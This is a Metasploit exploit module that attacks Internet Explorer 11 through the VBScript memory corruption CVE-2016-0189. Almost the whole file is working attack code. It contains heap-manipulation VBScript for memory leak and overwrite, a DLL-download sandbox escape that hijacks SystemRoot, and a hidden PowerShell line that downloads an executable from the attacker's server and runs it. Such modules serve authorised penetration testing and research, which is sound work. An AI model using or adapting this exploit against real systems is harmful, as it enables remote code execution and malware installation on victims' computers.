##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Internet Explorer 11 VBScript Engine Memory Corruption",
      'Description'    => %q{
        This module exploits the memory corruption vulnerability (CVE-2016-0189)
        present in the VBScript engine of Internet Explorer 11.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
          'Theori',                                              # Original RE research and exploitation
          'William Webb <william_webb[at]rapid7.com>'            # Metasploit module
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'Windows 10 with IE 11', { } ]
        ],
      'References'     =>
        [
          [ 'CVE', '2016-0189' ],
          [ 'MSB', 'MS16-051' ]
        ],
      'Arch'           => ARCH_X64,
      'DisclosureDate' => "May 10 2016",
      'DefaultTarget'  => 0))
  end

  def setup
    # @stage2html = Rex::Text.rand_text_alphanum(6)
    @ieshell          = "#{Rex::Text.rand_text_alphanumeric(6)}"       # ieshell32.dll uri
    @localsrv         = "#{Rex::Text.rand_text_alphanumeric(6)}"       # ielocalserver.dll uri
    @pm_escape_html   = "#{Rex::Text.rand_text_alphanumeric(6)}"       # vbscipt_godmode.html
    @payload_uri      = "#{Rex::Text.rand_text_alphanumeric(8)}"
    @payload_exe      = "#{Rex::Text.rand_text_alpha(6)}.exe"
    File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ieshell32.dll" ), "rb") { |f| @stage2dll = f.read }
    File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ielocalserver.dll" ), "rb") { |f| @localserver = f.read }
    super
  end

  def exploit_html(req_uri)
    srvhost = datastore['SRVHOST']
    srvport = datastore['SRVPORT']

    template = <<-EOF
    <html>
    <head>
    <meta http-equiv="x-ua-compatible" content="IE=10">
    </head>
    <body>

        <script type="text/vbscript">
            Dim downloadFiles
            Dim cacheRegex
            Dim cacheFiles(3)

            Dim downloadState
            Dim pinTime

            Dim oFSO
            Dim oWS
            Dim shell

            function FindFile(path, regexFile)
                FindFile = ""
                For Each f in oFSO.GetFolder(path).Files
                    If regexFile.Test(f.Name) Then
                        FindFile = f.Name
                        Exit For
                    End If
                Next
            end function

            function SearchCache(path, regexFile)
                SearchCache = ""
                For Each fld in oFSO.GetFolder(path).SubFolders
                    'If DateDiff("s", pinTime, fld.DateLastModified) >= 0 Then
                        filename = FindFile(path & "\\" & fld.Name, regexFile)
                        If filename <> "" Then
                            SearchCache = path & "\\" & fld.Name & "\\" & filename
                            Exit For
                        End If
                    'End If
                Next
            end function

            function loaddll()
                On Error Resume Next

                Set wshSystemEnv = oWS.Environment("Process")
                tmpDir = oFSO.GetSpecialFolder(2)

                tmpSysDir = tmpDir & "\\System32"
                tmpShellFile = tmpSysDir & "\\shell32.dll"
                oFSO.CreateFolder(tmpSysDir)
                oFSO.MoveFile cacheFiles(0), tmpShellFile

                mydllFile = tmpDir & "\\" & downloadFiles(1)
                oFSO.MoveFile cacheFiles(1), mydllFile
                wshSystemEnv("MyDllPath") = mydllFile

                If (UBound(downloadFiles) = 2) Then
                    stage2File = tmpDir & "\\#{@pm_escape_html}.html"
                    oFSO.MoveFile cacheFiles(2), stage2File
                    wshSystemEnv("stage2file") = stage2File
                End If

                saveRoot = wshSystemEnv("SystemRoot")
                wshSystemEnv("SaveSystemRoot") = saveRoot
                wshSystemEnv("SystemRoot") = tmpDir
                Set shell = CreateObject("Shell.Application")

                If (UBound(downloadFiles) = 2) Then
                    call tolocal()
                End If
            end function

            Sub OnDownloadDone()
                If InStr(userAgent, "NT 5.") > 0 Then
                    cacheDir = oWS.ExpandEnvironmentStrings("%USERPROFILE%")
                    cacheDir = cacheDir & "\\Local Settings\\Temporary Internet Files\\Low\\IE"
                Else
                    cacheDir = oWS.ExpandEnvironmentStrings("%LOCALAPPDATA%")
                    cacheDir = cacheDir & "\\Microsoft\\Windows\\Temporary Internet Files\\Low\\IE"
                End If

                Set regexFile = new regexp
                regexFile.Pattern = cacheRegex(downloadState)
                cacheFiles(downloadState) = SearchCache(cacheDir, regexFile)
                If cacheFiles(downloadState) = "" Then
                    Exit Sub
                End If

                If downloadState = UBound(downloadFiles) Then
                    loaddll()
                Else
                    downloadState = downloadState + 1
                    DoDownload()
                End If
            End Sub

            Sub DoDownload()
                pinTime = Now
                call getdll(downloadFiles(downloadState))
            End Sub

        Sub runshell()
            downloadFiles = Array("#{@ieshell}.dll", "#{@localsrv}.dll", "#{@pm_escape_html}.html")
            cacheRegex = Array("^#{@ieshell}\\[\\d\\].dll$", "^#{@localsrv}\\[\\d\\].dll$", "^#{@pm_escape_html}\\[\\d\\].htm$")
            Set oFSO = CreateObject("Scripting.FileSystemObject")
            Set oWS = CreateObject("WScript.Shell")
            downloadState = 0
            DoDownload()
        End Sub

        </script>

        <script type="text/vbscript">
            Dim bl
            Dim plunge(32)
            Dim y(32)
            prefix = "%u4141%u4141"
            d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
            b = String(64000, "D")
            c = d & b
            x = UnEscape(c)

            Class ArrayWrapper
                Dim A

                Private Sub Class_Initialize
                    ReDim Preserve AA(1, 2000)
                    A = AA
                End Sub

                Public Sub Resize()
                    ReDim Preserve A(1, 1)
                End Sub
            End Class

            Class Spray
            End Class


            Function getAddr (arg1, s)
          bl = Null
          Set bl = New ArrayWrapper

          For i = 0 To 32
            Set plunge(i) = s
          Next

                Set bl.A(arg1, 2) = s

          Dim addr
                Dim i
                For i = 0 To 31
                    If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
                        addr = strToInt(Mid(y(i), 3 + 4, 2))
                    End If
            y(i) = Null
                Next

          If addr = Null Then
            document.location.href = document.location.href
            Return
          End If

          getAddr = addr
        End Function

        Function leakMem (arg1, addr)
          d = prefix & "%u0008%u4141%u4141%u4141"
                c = d & intToStr(addr) & b
                x = UnEscape(c)

          bl = Null
                Set bl = New ArrayWrapper

                Dim o
                o = bl.A(arg1, 2)

          leakMem = o
        End Function

        Sub overwrite (arg1, addr)
          d = prefix & "%u400C%u0000%u0000%u0000"
                c = d & intToStr(addr) & b
                x = UnEscape(c)

          bl = Null
                Set bl = New ArrayWrapper
                bl.A(arg1, 2) = CSng(0)
        End Sub

            Function exploit (arg1)
                Dim addr
                Dim csession
                Dim olescript
                Dim mem

          Set sp = New Spray
          addr = getAddr(arg1, sp)
          mem = leakMem(arg1, addr + 8)
          csession = strToInt(Mid(mem, 3, 2))
          mem = leakMem(arg1, csession + 4)
          olescript = strToInt(Mid(mem, 1, 2))
          overwrite arg1, olescript + &H174
          runshell()

        End Function

            Function triggerBug
                bl.Resize()

                Dim i
                For i = 0 To 32
                    y(i) = Mid(x, 1, 24000)
                Next
            End Function
        </script>

        <script type="text/javascript">
            var userAgent = navigator.userAgent;
            var oReq;
            function getdll(downloadFile)
            {
                oReq = new XMLHttpRequest();
                oReq.open("GET", "http://#{srvhost}:#{srvport}#{req_uri}/"+downloadFile, true);
                oReq.onreadystatechange = handler;
                oReq.send();
            }
            function handler()
            {
                if (oReq.readyState == 4 && oReq.status == 200) {
                    OnDownloadDone();
                }
            }
            function tolocal()
            {
                location.href = "http://localhost:5555/#{@pm_escape_html}.html";
            }
            function strToInt(s)
            {
                return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
            }
            function intToStr(x)
            {
                return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
            }
            var o;
            o = {"valueOf": function () {
                    triggerBug();
                    return 1;
                }};
            setTimeout(function() {exploit(o);}, 50);
        </script>
    </body>
    </html>
        EOF

    template
  end

  def stage2_html(req_uri)

    template = <<-EOF
    <html>
    <head>
    <meta http-equiv="x-ua-compatible" content="IE=10">
    </head>
    <body>
        <script type="text/vbscript">
            Dim aw
            Dim plunge(32)
            Dim y(32)
            prefix = "%u4141%u4141"
            d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
            b = String(64000, "D")
            c = d & b
            x = UnEscape(c)

            Class ArrayWrapper
                Dim A()
                Private Sub Class_Initialize
                    ReDim Preserve A(1, 2000)
                End Sub

                Public Sub Resize()
                    ReDim Preserve A(1, 1)
                End Sub
            End Class

            Class Dummy
            End Class

            Function getAddr (arg1, s)
                aw = Null
                Set aw = New ArrayWrapper

                For i = 0 To 32
                    Set plunge(i) = s
                Next

                Set aw.A(arg1, 2) = s

                Dim addr
                Dim i
                For i = 0 To 31
                    If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
                        addr = strToInt(Mid(y(i), 3 + 4, 2))
                    End If
                    y(i) = Null
                Next

                If addr = Null Then
                    document.location.href = document.location.href
                    Return
                End If

                getAddr = addr
            End Function

            Function leakMem (arg1, addr)
                d = prefix & "%u0008%u4141%u4141%u4141"
                c = d & intToStr(addr) & b
                x = UnEscape(c)

                aw = Null
                Set aw = New ArrayWrapper

                Dim o
                o = aw.A(arg1, 2)

                leakMem = o
            End Function

            Sub overwrite (arg1, addr)
                d = prefix & "%u400C%u0000%u0000%u0000"
                c = d & intToStr(addr) & b
                x = UnEscape(c)

                aw = Null
                Set aw = New ArrayWrapper
                aw.A(arg1, 2) = CSng(0)
            End Sub

            Function exploit (arg1)
                Dim addr
                Dim csession
                Dim olescript
                Dim mem

                Set dm = New Dummy
                addr = getAddr(arg1, dm)
                mem = leakMem(arg1, addr + 8)
                csession = strToInt(Mid(mem, 3, 2))
                mem = leakMem(arg1, csession + 4)
                olescript = strToInt(Mid(mem, 1, 2))
                overwrite arg1, olescript + &H174

                Set shObj = CreateObject("Wscript.shell")
                shObj.Run("PowerShell -nologo -WindowStyle Hidden $d=$env:temp+'\\#{@payload_exe}';(New-Object System.Net.WebClient).DownloadFile('http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{req_uri}/#{@payload_uri}',$d);Start-Process $d")
                shObj.Run("%temp%\\#{@payload_exe}")

            End Function

            Function triggerBug
                aw.Resize()

                Dim i
                For i = 0 To 32
                    y(i) = Mid(x, 1, 24000)
                Next
            End Function
        </script>

        <script type="text/javascript">
            function strToInt(s)
            {
                return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
            }
            function intToStr(x)
            {
                return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
            }
            var o;
            o = {"valueOf": function () {
                    triggerBug();
                    return 1;
                }};
            setTimeout(function() {exploit(o);}, 50);
        </script>
    </body>
    </html>

      EOF
      template
  end

  def on_request_uri(cli, request)
    # used for some debugging stuff
    ies = @ieshell
    ls  = @localsrv
    pm  = @pm_escape_html

    print_status("Received request: #{request.uri}")
      if request.uri =~ /.*#{ies}.*$/
        print_status("Sending stage two DLL ...")
        send_response(cli, @stage2dll, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
      elsif request.uri =~ /.*#{ls}.*$/
        print_status("Sending local server DLL ...")
        send_response(cli, @localserver, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
      elsif request.uri =~ /.*#{pm}.*$/
        rq = "#{get_resource.chomp('/')}"
        gm = stage2_html(rq)
        send_response(cli, gm, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
      elsif request.uri =~ /.*#{@payload_uri}$/
        return if ((payload = regenerate_payload(cli)) == nil)
        print_status("Sending payload ...")
        send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })
      else
        print_status("Sending main page ..")
        send_response(cli, exploit_html(request.uri))
      end
  end
end

